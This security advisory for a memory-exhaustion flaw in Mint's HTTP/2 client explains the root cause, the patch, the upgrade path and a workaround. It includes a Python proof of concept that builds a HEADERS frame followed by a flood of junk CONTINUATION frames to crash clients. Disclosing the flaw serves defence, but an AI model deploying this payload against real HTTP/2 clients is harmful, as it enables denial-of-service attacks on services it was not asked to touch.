CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion
A malicious HTTP/2 server can crash any Elixir process using Mint by sending an endless stream of CONTINUATION frames, filling the client's memory with no limit until the BEAM process dies.
The problem
Mint's HTTP/2 receive path parks incoming header-block fragments in `conn.headers_being_processed` when a HEADERS frame arrives without the END_HEADERS flag set. Every CONTINUATION frame on that stream is appended to the accumulator with no size or count cap.
The `max_header_list_size` setting is only checked on outgoing requests and defaults to `:infinity`, so it never guards inbound blocks. A server that never sends END_HEADERS can grow the accumulator to arbitrary size at line rate, one frame at a time.
Proof of concept
A working proof-of-concept for CVE-2026-49754 in mint, with the exact payload below.
# Attacker-controlled raw HTTP/2 server (Python, illustrative)
# Performs the real HTTP/2 handshake, then floods CONTINUATION frames.
import socket, struct, time
# HTTP/2 connection preface + minimal SETTINGS ack already exchanged.
# Frame layout: length (3B) | type (1B) | flags (1B) | stream_id (4B) | payload
def make_frame(frame_type, flags, stream_id, payload):
length = len(payload)
header = struct.pack('>I', length)[1:] # 3-byte big-endian length
header += bytes([frame_type, flags])
header += struct.pack('>I', stream_id & 0x7FFFFFFF)
return header + payload
# HEADERS frame on stream 1: flags=0x0 (no END_HEADERS, no END_STREAM)
# Empty header-block fragment to open the continuation sequence.
HEADERS_FRAME_TYPE = 0x1
CONTINUATION_FRAME_TYPE = 0x9
NO_FLAGS = 0x0
STREAM_ID = 1
MAX_FRAME_PAYLOAD = 16_384 # peer SETTINGS_MAX_FRAME_SIZE default
junk_block = b'\x00' * MAX_FRAME_PAYLOAD # opaque bytes; HPACK decode never reached
frames = make_frame(HEADERS_FRAME_TYPE, NO_FLAGS, STREAM_ID, b'')
# Flood: each CONTINUATION has flags=0x0 (END_HEADERS never set)
for _ in range(65_536): # ~1 GiB accumulation as reported in PoC
frames += make_frame(CONTINUATION_FRAME_TYPE, NO_FLAGS, STREAM_ID, junk_block)
# Send over an already-established HTTP/2 connection socket
# sock.sendall(frames)The root cause is CWE-770: `handle_continuation/3` appended each frame's payload to `conn.headers_being_processed` unconditionally. Because the HPACK decoder only runs after END_HEADERS arrives, a server that withholds END_HEADERS bypasses all decoding-time size checks entirely.
The patch (commit b662d127) introduces `@default_max_header_list_size 262_144` (256 KB), advertises it to the server as `SETTINGS_MAX_HEADER_LIST_SIZE`, and checks the compressed accumulator byte-length on every fragment append. If the limit is exceeded before END_HEADERS, the connection is closed with a GOAWAY PROTOCOL_ERROR immediately, bounding memory to at most one limit-sized block per connection.
The fix
Upgrade to mint 1.9.0. The patched version caps inbound header-block accumulation at 256 KB by default and sends GOAWAY if a server exceeds it. If upgrading immediately is not possible, pass `protocols: [:http1]` to `Mint.HTTP.connect/4` for connections to untrusted servers to skip the vulnerable HTTP/2 receive path entirely.
Reported by Peter Ullrich (PJUllrich).
Related research
- highCVE-2026-48862CVE-2026-48862: Mint HTTP/2 Client Memory Exhaustion via PUSH_PROMISE Flood
- highCVE-2026-48597CVE-2026-48597: Tesla Mint Adapter BEAM Atom Table Exhaustion via Untrusted URL Scheme
- highCVE-2026-47067CVE-2026-47067: hackney Atom-Table Exhaustion via URL Scheme Parsing
- highCVE-2026-48594CVE-2026-48594: Tesla Middleware Decompression Bomb (DoS)